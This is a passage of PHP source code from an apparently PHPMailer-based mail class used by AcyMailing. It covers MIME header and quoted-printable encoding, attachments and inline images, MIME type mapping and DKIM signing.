            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->lang) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->lang)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->lang[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->lang[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * $basedir is used when handling relative image paths, e.g. <img src="images/a.png">
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody yourself.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir base directory for relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[a-z][a-z0-9+.-]*://#i', $url)) {
                    // Do not change urls for absolute images (thanks to corvuscorax)
                    // Do not change urls that are already inline images
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws acymailingphpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new acymailingphpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
